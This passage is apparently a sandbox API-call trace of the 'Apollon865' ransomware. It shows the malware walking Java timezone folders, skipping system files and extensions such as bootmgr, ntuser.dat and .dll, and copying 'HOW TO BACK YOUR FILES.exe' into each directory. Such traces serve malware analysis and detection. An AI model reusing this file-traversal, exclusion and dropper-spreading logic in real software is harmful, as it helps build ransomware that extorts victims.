	[0055.163] lstrcmpiW (lpString1="Indianapolis", lpString2="ntuser.dat") returned -1
	[0055.163] lstrcmpiW (lpString1="Indianapolis", lpString2="perflogs") returned -1
	[0055.163] lstrcmpiW (lpString1="Indianapolis", lpString2="MSBuild") returned -1
	[0055.163] lstrlenW (lpString="Indianapolis") returned 12
	[0055.163] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\*") returned 57
	[0055.163] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Indianapolis" | out: lpString1="Indianapolis") returned="Indianapolis"
	[0055.163] lstrlenW (lpString="Indianapolis") returned 12
	[0055.164] lstrlenW (lpString="Apollon865") returned 10
	[0055.164] lstrcmpiW (lpString1="dianapolis", lpString2="Apollon865") returned 1
	[0055.164] lstrlenW (lpString=".dll") returned 4
	[0055.164] lstrcmpiW (lpString1="Indianapolis", lpString2=".dll") returned 1
	[0055.164] lstrlenW (lpString=".lnk") returned 4
	[0055.164] lstrcmpiW (lpString1="Indianapolis", lpString2=".lnk") returned 1
	[0055.164] lstrlenW (lpString=".ini") returned 4
	[0055.164] lstrcmpiW (lpString1="Indianapolis", lpString2=".ini") returned 1
	[0055.164] lstrlenW (lpString=".sys") returned 4
	[0055.164] lstrcmpiW (lpString1="Indianapolis", lpString2=".sys") returned 1
	[0055.164] lstrlenW (lpString="Indianapolis") returned 12
	[0055.164] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Knox" | out: lpString1="Knox") returned="Knox"
	[0055.164] lstrlenW (lpString="Knox") returned 4
	[0055.164] lstrlenW (lpString="Apollon865") returned 10
	[0055.164] lstrlenW (lpString=".dll") returned 4
	[0055.164] lstrlenW (lpString=".lnk") returned 4
	[0055.164] lstrlenW (lpString=".ini") returned 4
	[0055.164] lstrlenW (lpString=".sys") returned 4
	[0055.164] lstrlenW (lpString="Knox") returned 4
	[0055.164] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Marengo" | out: lpString1="Marengo") returned="Marengo"
	[0055.164] lstrlenW (lpString="Marengo") returned 7
	[0055.164] lstrlenW (lpString="Apollon865") returned 10
	[0055.164] lstrlenW (lpString=".dll") returned 4
	[0055.164] lstrcmpiW (lpString1="Marengo", lpString2=".dll") returned 1
	[0055.164] lstrlenW (lpString=".lnk") returned 4
	[0055.164] lstrcmpiW (lpString1="Marengo", lpString2=".lnk") returned 1
	[0055.164] lstrlenW (lpString=".ini") returned 4
	[0055.164] lstrcmpiW (lpString1="Marengo", lpString2=".ini") returned 1
	[0055.164] lstrlenW (lpString=".sys") returned 4
	[0055.164] lstrcmpiW (lpString1="Marengo", lpString2=".sys") returned 1
	[0055.164] lstrlenW (lpString="Marengo") returned 7
	[0055.165] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Petersburg" | out: lpString1="Petersburg") returned="Petersburg"
	[0055.165] lstrlenW (lpString="Petersburg") returned 10
	[0055.165] lstrlenW (lpString="Apollon865") returned 10
	[0055.165] lstrlenW (lpString=".dll") returned 4
	[0055.165] lstrcmpiW (lpString1="Petersburg", lpString2=".dll") returned 1
	[0055.165] lstrlenW (lpString=".lnk") returned 4
	[0055.165] lstrcmpiW (lpString1="Petersburg", lpString2=".lnk") returned 1
	[0055.165] lstrlenW (lpString=".ini") returned 4
	[0055.165] lstrcmpiW (lpString1="Petersburg", lpString2=".ini") returned 1
	[0055.165] lstrlenW (lpString=".sys") returned 4
	[0055.165] lstrcmpiW (lpString1="Petersburg", lpString2=".sys") returned 1
	[0055.165] lstrlenW (lpString="Petersburg") returned 10
	[0055.165] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Tell_City" | out: lpString1="Tell_City") returned="Tell_City"
	[0055.165] lstrlenW (lpString="Tell_City") returned 9
	[0055.165] lstrlenW (lpString="Apollon865") returned 10
	[0055.165] lstrlenW (lpString=".dll") returned 4
	[0055.165] lstrcmpiW (lpString1="Tell_City", lpString2=".dll") returned 1
	[0055.165] lstrlenW (lpString=".lnk") returned 4
	[0055.165] lstrcmpiW (lpString1="Tell_City", lpString2=".lnk") returned 1
	[0055.165] lstrlenW (lpString=".ini") returned 4
	[0055.165] lstrcmpiW (lpString1="Tell_City", lpString2=".ini") returned 1
	[0055.165] lstrlenW (lpString=".sys") returned 4
	[0055.165] lstrcmpiW (lpString1="Tell_City", lpString2=".sys") returned 1
	[0055.165] lstrlenW (lpString="Tell_City") returned 9
	[0055.165] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Vevay" | out: lpString1="Vevay") returned="Vevay"
	[0055.165] lstrlenW (lpString="Vevay") returned 5
	[0055.165] lstrlenW (lpString="Apollon865") returned 10
	[0055.165] lstrlenW (lpString=".dll") returned 4
	[0055.165] lstrcmpiW (lpString1="Vevay", lpString2=".dll") returned 1
	[0055.166] lstrlenW (lpString=".lnk") returned 4
	[0055.166] lstrcmpiW (lpString1="Vevay", lpString2=".lnk") returned 1
	[0055.166] lstrlenW (lpString=".ini") returned 4
	[0055.166] lstrcmpiW (lpString1="Vevay", lpString2=".ini") returned 1
	[0055.166] lstrlenW (lpString=".sys") returned 4
	[0055.166] lstrcmpiW (lpString1="Vevay", lpString2=".sys") returned 1
	[0055.166] lstrlenW (lpString="Vevay") returned 5
	[0055.166] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Vincennes" | out: lpString1="Vincennes") returned="Vincennes"
	[0055.166] lstrlenW (lpString="Vincennes") returned 9
	[0055.166] lstrlenW (lpString="Apollon865") returned 10
	[0055.166] lstrlenW (lpString=".dll") returned 4
	[0055.166] lstrcmpiW (lpString1="Vincennes", lpString2=".dll") returned 1
	[0055.166] lstrlenW (lpString=".lnk") returned 4
	[0055.166] lstrcmpiW (lpString1="Vincennes", lpString2=".lnk") returned 1
	[0055.166] lstrlenW (lpString=".ini") returned 4
	[0055.166] lstrcmpiW (lpString1="Vincennes", lpString2=".ini") returned 1
	[0055.166] lstrlenW (lpString=".sys") returned 4
	[0055.166] lstrcmpiW (lpString1="Vincennes", lpString2=".sys") returned 1
	[0055.166] lstrlenW (lpString="Vincennes") returned 9
	[0055.166] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Winamac" | out: lpString1="Winamac") returned="Winamac"
	[0055.166] lstrlenW (lpString="Winamac") returned 7
	[0055.166] lstrlenW (lpString="Apollon865") returned 10
	[0055.166] lstrlenW (lpString=".dll") returned 4
	[0055.166] lstrcmpiW (lpString1="Winamac", lpString2=".dll") returned 1
	[0055.166] lstrlenW (lpString=".lnk") returned 4
	[0055.166] lstrcmpiW (lpString1="Winamac", lpString2=".lnk") returned 1
	[0055.166] lstrlenW (lpString=".ini") returned 4
	[0055.166] lstrcmpiW (lpString1="Winamac", lpString2=".ini") returned 1
	[0055.166] lstrlenW (lpString=".sys") returned 4
	[0055.166] lstrcmpiW (lpString1="Winamac", lpString2=".sys") returned 1
	[0055.167] lstrlenW (lpString="Winamac") returned 7
	[0055.167] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina"
	[0055.167] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0055.167] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0055.167] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina") returned 57
	[0055.167] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina"
	[0055.167] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.167] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.182] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.182] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38f75350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38f75350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.182] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.182] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.182] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.182] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38f75350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38f75350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.182] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.182] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.182] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.182] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.182] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Buenos_Aires", cAlternateFileName="BUENOS~1")) returned 1
	[0055.182] lstrcmpiW (lpString1="Buenos_Aires", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.182] lstrcmpiW (lpString1="Buenos_Aires", lpString2="Apollon865.txt.exe") returned 1
	[0055.182] lstrcmpiW (lpString1="Buenos_Aires", lpString2=".") returned 1
	[0055.183] lstrcmpiW (lpString1="Buenos_Aires", lpString2="..") returned 1
	[0055.183] lstrcmpiW (lpString1="Buenos_Aires", lpString2="windows") returned -1
	[0055.183] lstrcmpiW (lpString1="Buenos_Aires", lpString2="bootmgr") returned 1
	[0055.183] lstrcmpiW (lpString1="Buenos_Aires", lpString2="temp") returned -1
	[0055.183] lstrcmpiW (lpString1="Buenos_Aires", lpString2="pagefile.sys") returned -1
	[0055.183] lstrcmpiW (lpString1="Buenos_Aires", lpString2="boot") returned 1
	[0055.183] lstrcmpiW (lpString1="Buenos_Aires", lpString2="ids.txt") returned -1
	[0055.183] lstrcmpiW (lpString1="Buenos_Aires", lpString2="ntuser.dat") returned -1
	[0055.183] lstrcmpiW (lpString1="Buenos_Aires", lpString2="perflogs") returned -1
	[0055.183] lstrcmpiW (lpString1="Buenos_Aires", lpString2="MSBuild") returned -1
	[0055.183] lstrlenW (lpString="Buenos_Aires") returned 12
	[0055.183] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\*") returned 59
	[0055.183] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Buenos_Aires" | out: lpString1="Buenos_Aires") returned="Buenos_Aires"
	[0055.183] lstrlenW (lpString="Buenos_Aires") returned 12
	[0055.183] lstrlenW (lpString="Apollon865") returned 10
	[0055.183] lstrcmpiW (lpString1="enos_Aires", lpString2="Apollon865") returned 1
	[0055.183] lstrlenW (lpString=".dll") returned 4
	[0055.183] lstrcmpiW (lpString1="Buenos_Aires", lpString2=".dll") returned 1
	[0055.183] lstrlenW (lpString=".lnk") returned 4
	[0055.183] lstrcmpiW (lpString1="Buenos_Aires", lpString2=".lnk") returned 1
	[0055.183] lstrlenW (lpString=".ini") returned 4
	[0055.183] lstrcmpiW (lpString1="Buenos_Aires", lpString2=".ini") returned 1
	[0055.183] lstrlenW (lpString=".sys") returned 4
	[0055.183] lstrcmpiW (lpString1="Buenos_Aires", lpString2=".sys") returned 1
	[0055.183] lstrlenW (lpString="Buenos_Aires") returned 12
	[0055.183] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Catamarca" | out: lpString1="Catamarca") returned="Catamarca"
	[0055.183] lstrlenW (lpString="Catamarca") returned 9
	[0055.183] lstrlenW (lpString="Apollon865") returned 10
	[0055.183] lstrlenW (lpString=".dll") returned 4
	[0055.184] lstrcmpiW (lpString1="Catamarca", lpString2=".dll") returned 1
	[0055.184] lstrlenW (lpString=".lnk") returned 4
	[0055.184] lstrcmpiW (lpString1="Catamarca", lpString2=".lnk") returned 1
	[0055.184] lstrlenW (lpString=".ini") returned 4
	[0055.184] lstrcmpiW (lpString1="Catamarca", lpString2=".ini") returned 1
	[0055.184] lstrlenW (lpString=".sys") returned 4
	[0055.184] lstrcmpiW (lpString1="Catamarca", lpString2=".sys") returned 1
	[0055.184] lstrlenW (lpString="Catamarca") returned 9
	[0055.184] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Cordoba" | out: lpString1="Cordoba") returned="Cordoba"
	[0055.184] lstrlenW (lpString="Cordoba") returned 7
	[0055.184] lstrlenW (lpString="Apollon865") returned 10
	[0055.184] lstrlenW (lpString=".dll") returned 4
	[0055.184] lstrcmpiW (lpString1="Cordoba", lpString2=".dll") returned 1
	[0055.184] lstrlenW (lpString=".lnk") returned 4
	[0055.184] lstrcmpiW (lpString1="Cordoba", lpString2=".lnk") returned 1
	[0055.184] lstrlenW (lpString=".ini") returned 4
	[0055.184] lstrcmpiW (lpString1="Cordoba", lpString2=".ini") returned 1
	[0055.184] lstrlenW (lpString=".sys") returned 4
	[0055.184] lstrcmpiW (lpString1="Cordoba", lpString2=".sys") returned 1
	[0055.184] lstrlenW (lpString="Cordoba") returned 7
	[0055.184] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Jujuy" | out: lpString1="Jujuy") returned="Jujuy"
	[0055.184] lstrlenW (lpString="Jujuy") returned 5
	[0055.184] lstrlenW (lpString="Apollon865") returned 10
	[0055.184] lstrlenW (lpString=".dll") returned 4
	[0055.184] lstrcmpiW (lpString1="Jujuy", lpString2=".dll") returned 1
	[0055.184] lstrlenW (lpString=".lnk") returned 4
	[0055.184] lstrcmpiW (lpString1="Jujuy", lpString2=".lnk") returned 1
	[0055.184] lstrlenW (lpString=".ini") returned 4
	[0055.184] lstrcmpiW (lpString1="Jujuy", lpString2=".ini") returned 1
	[0055.184] lstrlenW (lpString=".sys") returned 4
	[0055.184] lstrcmpiW (lpString1="Jujuy", lpString2=".sys") returned 1
	[0055.185] lstrlenW (lpString="Jujuy") returned 5
	[0055.185] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="La_Rioja" | out: lpString1="La_Rioja") returned="La_Rioja"
	[0055.185] lstrlenW (lpString="La_Rioja") returned 8
	[0055.185] lstrlenW (lpString="Apollon865") returned 10
	[0055.185] lstrlenW (lpString=".dll") returned 4
	[0055.185] lstrcmpiW (lpString1="La_Rioja", lpString2=".dll") returned 1
	[0055.185] lstrlenW (lpString=".lnk") returned 4
	[0055.185] lstrcmpiW (lpString1="La_Rioja", lpString2=".lnk") returned 1
	[0055.185] lstrlenW (lpString=".ini") returned 4
	[0055.185] lstrcmpiW (lpString1="La_Rioja", lpString2=".ini") returned 1
	[0055.185] lstrlenW (lpString=".sys") returned 4
	[0055.185] lstrcmpiW (lpString1="La_Rioja", lpString2=".sys") returned 1
	[0055.185] lstrlenW (lpString="La_Rioja") returned 8
	[0055.185] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Mendoza" | out: lpString1="Mendoza") returned="Mendoza"
	[0055.185] lstrlenW (lpString="Mendoza") returned 7
	[0055.185] lstrlenW (lpString="Apollon865") returned 10
	[0055.185] lstrlenW (lpString=".dll") returned 4
	[0055.185] lstrcmpiW (lpString1="Mendoza", lpString2=".dll") returned 1
	[0055.185] lstrlenW (lpString=".lnk") returned 4
	[0055.185] lstrcmpiW (lpString1="Mendoza", lpString2=".lnk") returned 1
	[0055.185] lstrlenW (lpString=".ini") returned 4
	[0055.185] lstrcmpiW (lpString1="Mendoza", lpString2=".ini") returned 1
	[0055.185] lstrlenW (lpString=".sys") returned 4
	[0055.185] lstrcmpiW (lpString1="Mendoza", lpString2=".sys") returned 1
	[0055.185] lstrlenW (lpString="Mendoza") returned 7
	[0055.185] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Rio_Gallegos" | out: lpString1="Rio_Gallegos") returned="Rio_Gallegos"
	[0055.185] lstrlenW (lpString="Rio_Gallegos") returned 12
	[0055.185] lstrlenW (lpString="Apollon865") returned 10
	[0055.185] lstrcmpiW (lpString1="o_Gallegos", lpString2="Apollon865") returned 1
	[0055.186] lstrlenW (lpString=".dll") returned 4
	[0055.186] lstrcmpiW (lpString1="Rio_Gallegos", lpString2=".dll") returned 1
	[0055.186] lstrlenW (lpString=".lnk") returned 4
	[0055.186] lstrcmpiW (lpString1="Rio_Gallegos", lpString2=".lnk") returned 1
	[0055.186] lstrlenW (lpString=".ini") returned 4
	[0055.186] lstrcmpiW (lpString1="Rio_Gallegos", lpString2=".ini") returned 1
	[0055.186] lstrlenW (lpString=".sys") returned 4
	[0055.186] lstrcmpiW (lpString1="Rio_Gallegos", lpString2=".sys") returned 1
	[0055.186] lstrlenW (lpString="Rio_Gallegos") returned 12
	[0055.186] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Salta" | out: lpString1="Salta") returned="Salta"
	[0055.186] lstrlenW (lpString="Salta") returned 5
	[0055.186] lstrlenW (lpString="Apollon865") returned 10
	[0055.186] lstrlenW (lpString=".dll") returned 4
	[0055.186] lstrcmpiW (lpString1="Salta", lpString2=".dll") returned 1
	[0055.186] lstrlenW (lpString=".lnk") returned 4
	[0055.186] lstrcmpiW (lpString1="Salta", lpString2=".lnk") returned 1
	[0055.186] lstrlenW (lpString=".ini") returned 4
	[0055.186] lstrcmpiW (lpString1="Salta", lpString2=".ini") returned 1
	[0055.186] lstrlenW (lpString=".sys") returned 4
	[0055.186] lstrcmpiW (lpString1="Salta", lpString2=".sys") returned 1
	[0055.186] lstrlenW (lpString="Salta") returned 5
	[0055.186] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="San_Juan" | out: lpString1="San_Juan") returned="San_Juan"
	[0055.186] lstrlenW (lpString="San_Juan") returned 8
	[0055.186] lstrlenW (lpString="Apollon865") returned 10
	[0055.186] lstrlenW (lpString=".dll") returned 4
	[0055.186] lstrcmpiW (lpString1="San_Juan", lpString2=".dll") returned 1
	[0055.186] lstrlenW (lpString=".lnk") returned 4
	[0055.186] lstrcmpiW (lpString1="San_Juan", lpString2=".lnk") returned 1
	[0055.186] lstrlenW (lpString=".ini") returned 4
	[0055.186] lstrcmpiW (lpString1="San_Juan", lpString2=".ini") returned 1
	[0055.186] lstrlenW (lpString=".sys") returned 4
	[0055.187] lstrcmpiW (lpString1="San_Juan", lpString2=".sys") returned 1
	[0055.187] lstrlenW (lpString="San_Juan") returned 8
	[0055.187] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="San_Luis" | out: lpString1="San_Luis") returned="San_Luis"
	[0055.187] lstrlenW (lpString="San_Luis") returned 8
	[0055.187] lstrlenW (lpString="Apollon865") returned 10
	[0055.187] lstrlenW (lpString=".dll") returned 4
	[0055.187] lstrcmpiW (lpString1="San_Luis", lpString2=".dll") returned 1
	[0055.187] lstrlenW (lpString=".lnk") returned 4
	[0055.187] lstrcmpiW (lpString1="San_Luis", lpString2=".lnk") returned 1
	[0055.187] lstrlenW (lpString=".ini") returned 4
	[0055.187] lstrcmpiW (lpString1="San_Luis", lpString2=".ini") returned 1
	[0055.187] lstrlenW (lpString=".sys") returned 4
	[0055.187] lstrcmpiW (lpString1="San_Luis", lpString2=".sys") returned 1
	[0055.187] lstrlenW (lpString="San_Luis") returned 8
	[0055.187] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Tucuman" | out: lpString1="Tucuman") returned="Tucuman"
	[0055.187] lstrlenW (lpString="Tucuman") returned 7
	[0055.187] lstrlenW (lpString="Apollon865") returned 10
	[0055.187] lstrlenW (lpString=".dll") returned 4
	[0055.187] lstrcmpiW (lpString1="Tucuman", lpString2=".dll") returned 1
	[0055.187] lstrlenW (lpString=".lnk") returned 4
	[0055.187] lstrcmpiW (lpString1="Tucuman", lpString2=".lnk") returned 1
	[0055.187] lstrlenW (lpString=".ini") returned 4
	[0055.187] lstrcmpiW (lpString1="Tucuman", lpString2=".ini") returned 1
	[0055.187] lstrlenW (lpString=".sys") returned 4
	[0055.187] lstrcmpiW (lpString1="Tucuman", lpString2=".sys") returned 1
	[0055.187] lstrlenW (lpString="Tucuman") returned 7
	[0055.187] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Ushuaia" | out: lpString1="Ushuaia") returned="Ushuaia"
	[0055.187] lstrlenW (lpString="Ushuaia") returned 7
	[0055.187] lstrlenW (lpString="Apollon865") returned 10
	[0055.187] lstrlenW (lpString=".dll") returned 4
	[0055.188] lstrcmpiW (lpString1="Ushuaia", lpString2=".dll") returned 1
	[0055.188] lstrlenW (lpString=".lnk") returned 4
	[0055.188] lstrcmpiW (lpString1="Ushuaia", lpString2=".lnk") returned 1
	[0055.188] lstrlenW (lpString=".ini") returned 4
	[0055.188] lstrcmpiW (lpString1="Ushuaia", lpString2=".ini") returned 1
	[0055.188] lstrlenW (lpString=".sys") returned 4
	[0055.188] lstrcmpiW (lpString1="Ushuaia", lpString2=".sys") returned 1
	[0055.188] lstrlenW (lpString="Ushuaia") returned 7
	[0055.188] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa"
	[0055.188] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
	[0055.188] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0055.188] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned 46
	[0055.188] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa"
	[0055.188] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.188] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.195] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.195] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38f75350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38f75350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.197] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.197] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.197] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.197] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38f75350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38f75350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.198] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.198] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.198] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.198] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.198] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Abidjan", cAlternateFileName="")) returned 1
	[0055.198] lstrcmpiW (lpString1="Abidjan", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.198] lstrcmpiW (lpString1="Abidjan", lpString2="Apollon865.txt.exe") returned -1
	[0055.198] lstrcmpiW (lpString1="Abidjan", lpString2=".") returned 1
	[0055.198] lstrcmpiW (lpString1="Abidjan", lpString2="..") returned 1
	[0055.198] lstrcmpiW (lpString1="Abidjan", lpString2="windows") returned -1
	[0055.198] lstrcmpiW (lpString1="Abidjan", lpString2="bootmgr") returned -1
	[0055.198] lstrcmpiW (lpString1="Abidjan", lpString2="temp") returned -1
	[0055.198] lstrcmpiW (lpString1="Abidjan", lpString2="pagefile.sys") returned -1
	[0055.198] lstrcmpiW (lpString1="Abidjan", lpString2="boot") returned -1
	[0055.199] lstrcmpiW (lpString1="Abidjan", lpString2="ids.txt") returned -1
	[0055.199] lstrcmpiW (lpString1="Abidjan", lpString2="ntuser.dat") returned -1
	[0055.199] lstrcmpiW (lpString1="Abidjan", lpString2="perflogs") returned -1
	[0055.199] lstrcmpiW (lpString1="Abidjan", lpString2="MSBuild") returned -1
	[0055.199] lstrlenW (lpString="Abidjan") returned 7
	[0055.199] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\*") returned 48
	[0055.199] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Abidjan" | out: lpString1="Abidjan") returned="Abidjan"
	[0055.199] lstrlenW (lpString="Abidjan") returned 7
	[0055.199] lstrlenW (lpString="Apollon865") returned 10
	[0055.199] lstrlenW (lpString=".dll") returned 4
	[0055.199] lstrcmpiW (lpString1="Abidjan", lpString2=".dll") returned 1
	[0055.199] lstrlenW (lpString=".lnk") returned 4
	[0055.199] lstrcmpiW (lpString1="Abidjan", lpString2=".lnk") returned 1
	[0055.199] lstrlenW (lpString=".ini") returned 4
	[0055.199] lstrcmpiW (lpString1="Abidjan", lpString2=".ini") returned 1
	[0055.199] lstrlenW (lpString=".sys") returned 4
	[0055.199] lstrcmpiW (lpString1="Abidjan", lpString2=".sys") returned 1
	[0055.199] lstrlenW (lpString="Abidjan") returned 7
	[0055.199] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Accra" | out: lpString1="Accra") returned="Accra"
	[0055.199] lstrlenW (lpString="Accra") returned 5
	[0055.199] lstrlenW (lpString="Apollon865") returned 10
